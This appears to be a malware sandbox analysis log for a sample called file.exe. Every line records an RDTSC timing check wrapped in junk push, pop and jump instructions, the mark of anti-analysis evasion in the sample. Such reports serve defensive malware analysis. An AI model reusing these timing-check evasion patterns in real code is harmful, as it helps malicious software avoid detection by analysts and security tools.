Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D4995 second address: 9D4999 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D4999 second address: 9D49A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FDEE4BB4C06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D49A9 second address: 9D49AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D49AF second address: 9D49B9 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FDEE4BB4C06h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D7CC5 second address: 9D7CF1 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDEE5138E5Fh 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FDEE5138E57h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 jc 00007FDEE5138E46h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D7CF1 second address: 9D7CFE instructions: 0x00000000 rdtsc 0x00000002 jc 00007FDEE4BB4C06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D7CFE second address: 9D7D08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D7E2D second address: 9D7E32 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D813E second address: 9D816A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEE5138E53h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d js 00007FDEE5138E46h 0x00000013 pop ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 jne 00007FDEE5138E46h 0x0000001c push eax 0x0000001d pop eax 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D816A second address: 9D8189 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007FDEE4BB4C19h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D8189 second address: 9D818F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D8400 second address: 9D8406 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D8406 second address: 9D840A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D8583 second address: 9D859A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FDEE4BB4C0Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E0427 second address: 9E0448 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jne 00007FDEE5138E53h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E0448 second address: 9E044E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E044E second address: 9E0454 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E0454 second address: 9E0458 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E0458 second address: 9E046B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 js 00007FDEE5138E46h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push edx 0x0000000e pop edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DE739 second address: 9DE741 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DEA09 second address: 9DEA4D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jmp 00007FDEE5138E4Fh 0x0000000a push eax 0x0000000b pop eax 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jmp 00007FDEE5138E4Bh 0x00000015 jnc 00007FDEE5138E4Ch 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FDEE5138E51h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DEB8A second address: 9DEB9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jne 00007FDEE4BB4C06h 0x0000000c jnp 00007FDEE4BB4C06h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DEB9D second address: 9DEBAE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 je 00007FDEE5138E46h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DEFE8 second address: 9DF011 instructions: 0x00000000 rdtsc 0x00000002 js 00007FDEE4BB4C1Ah 0x00000008 jmp 00007FDEE4BB4C0Eh 0x0000000d js 00007FDEE4BB4C06h 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 jbe 00007FDEE4BB4C06h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DF011 second address: 9DF01E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jl 00007FDEE5138E46h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DF01E second address: 9DF024 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DF19D second address: 9DF1BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007FDEE5138E46h 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007FDEE5138E4Fh 0x00000010 push edx 0x00000011 pop edx 0x00000012 popad 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DE0BE second address: 9DE0F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FDEE4BB4C14h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FDEE4BB4C19h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DE0F3 second address: 9DE0FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DE0FB second address: 9DE116 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEE4BB4C0Fh 0x00000007 jl 00007FDEE4BB4C0Eh 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E76C2 second address: 9E76C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E76C6 second address: 9E76CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E76CC second address: 9E76DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 jnl 00007FDEE5138E4Ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E76DF second address: 9E76E4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E76E4 second address: 9E76EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EEEB1 second address: 9EEEB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EEEB5 second address: 9EEEB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F0696 second address: 9F06A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 jbe 00007FDEE4BB4C06h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F06A5 second address: 9F06AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F1CE9 second address: 9F1D17 instructions: 0x00000000 rdtsc 0x00000002 js 00007FDEE4BB4C06h 0x00000008 jmp 00007FDEE4BB4C16h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 jc 00007FDEE4BB4C06h 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F1D17 second address: 9F1D28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDEE5138E4Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F1D28 second address: 9F1D2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F1D2E second address: 9F1D39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F1D39 second address: 9F1D46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F1D46 second address: 9F1D62 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEE5138E52h 0x00000007 jns 00007FDEE5138E46h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FA944 second address: 9FA948 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FA948 second address: 9FA95A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FDEE5138E46h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FA95A second address: 9FA95E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FA39B second address: 9FA3B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEE5138E55h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FA3B4 second address: 9FA3BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FA3BA second address: 9FA3D7 instructions: 0x00000000 rdtsc 0x00000002 je 00007FDEE5138E48h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FDEE5138E4Bh 0x00000013 push ecx 0x00000014 pushad 0x00000015 popad 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FA551 second address: 9FA577 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FDEE4BB4C06h 0x0000000a push edi 0x0000000b pop edi 0x0000000c jmp 00007FDEE4BB4C0Fh 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jbe 00007FDEE4BB4C0Ch 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FA577 second address: 9FA57B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FA57B second address: 9FA585 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FDEE4BB4C06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FA585 second address: 9FA589 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FEBD6 second address: 9FEBDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FEBDA second address: 9FEBE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FEBE8 second address: 9FEBED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0A682 second address: A0A686 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93460A second address: 934656 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDEE4BB4C13h 0x00000009 jmp 00007FDEE4BB4C0Dh 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FDEE4BB4C0Dh 0x00000015 jmp 00007FDEE4BB4C19h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0EE24 second address: A0EE29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0EC8A second address: A0ECA5 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FDEE4BB4C06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FDEE4BB4C0Ch 0x0000000f pop edx 0x00000010 pushad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0ECA5 second address: A0ECAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0ECAB second address: A0ECB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0ECB1 second address: A0ECBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 pushad 0x00000007 popad 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0ECBE second address: A0ECC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A14E03 second address: A14E07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A14E07 second address: A14E11 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FDEE4BB4C06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A14F6A second address: A14F6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A14F6E second address: A14F89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 pushad 0x0000000a popad 0x0000000b jg 00007FDEE4BB4C06h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 pop eax 0x00000015 push ecx 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A15654 second address: A15669 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDEE5138E51h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A157B3 second address: A157B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1A8BD second address: A1A8C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1A8C1 second address: A1A8D7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jbe 00007FDEE4BB4C06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop esi 0x0000000d jc 00007FDEE4BB4C18h 0x00000013 push edi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1DE08 second address: A1DE4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 jp 00007FDEE5138E8Bh 0x0000000d pushad 0x0000000e jg 00007FDEE5138E46h 0x00000014 jmp 00007FDEE5138E4Bh 0x00000019 jbe 00007FDEE5138E46h 0x0000001f jmp 00007FDEE5138E4Ah 0x00000024 popad 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007FDEE5138E4Eh 0x0000002c ja 00007FDEE5138E46h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A23CE7 second address: A23CED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A23CED second address: A23CF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A29668 second address: A29676 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push esi 0x00000009 pop esi 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A26321 second address: A26327 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A26327 second address: A2635C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEE4BB4C0Ah 0x00000007 jmp 00007FDEE4BB4C0Eh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push esi 0x0000000f jno 00007FDEE4BB4C06h 0x00000015 pop esi 0x00000016 pop edx 0x00000017 pop eax 0x00000018 jnp 00007FDEE4BB4C14h 0x0000001e pushad 0x0000001f push eax 0x00000020 pop eax 0x00000021 push eax 0x00000022 pop eax 0x00000023 push eax 0x00000024 pop eax 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A36E3B second address: A36E3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A36E3F second address: A36E62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 jbe 00007FDEE4BB4C2Ch 0x0000000d ja 00007FDEE4BB4C12h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A36C92 second address: A36CAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDEE5138E55h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A36CAB second address: A36CB1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A36CB1 second address: A36CB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A486F5 second address: A486FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A48A1C second address: A48A41 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007FDEE5138E51h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jc 00007FDEE5138E4Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A48A41 second address: A48A65 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FDEE4BB4C08h 0x00000008 pushad 0x00000009 jo 00007FDEE4BB4C06h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 jg 00007FDEE4BB4C08h 0x0000001b pushad 0x0000001c pushad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A48A65 second address: A48A6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A48E9F second address: A48ED1 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FDEE4BB4C06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FDEE4BB4C0Ch 0x0000000f pop ebx 0x00000010 pushad 0x00000011 push edi 0x00000012 pushad 0x00000013 popad 0x00000014 jnl 00007FDEE4BB4C06h 0x0000001a pop edi 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FDEE4BB4C0Eh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A49015 second address: A49024 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push edx 0x00000006 pop edx 0x00000007 jnp 00007FDEE5138E46h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4DA68 second address: A4DA72 instructions: 0x00000000 rdtsc 0x00000002 je 00007FDEE4BB4C0Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4DA72 second address: A4DA94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007FDEE5138E56h 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 pop edx 0x00000011 rdtsc
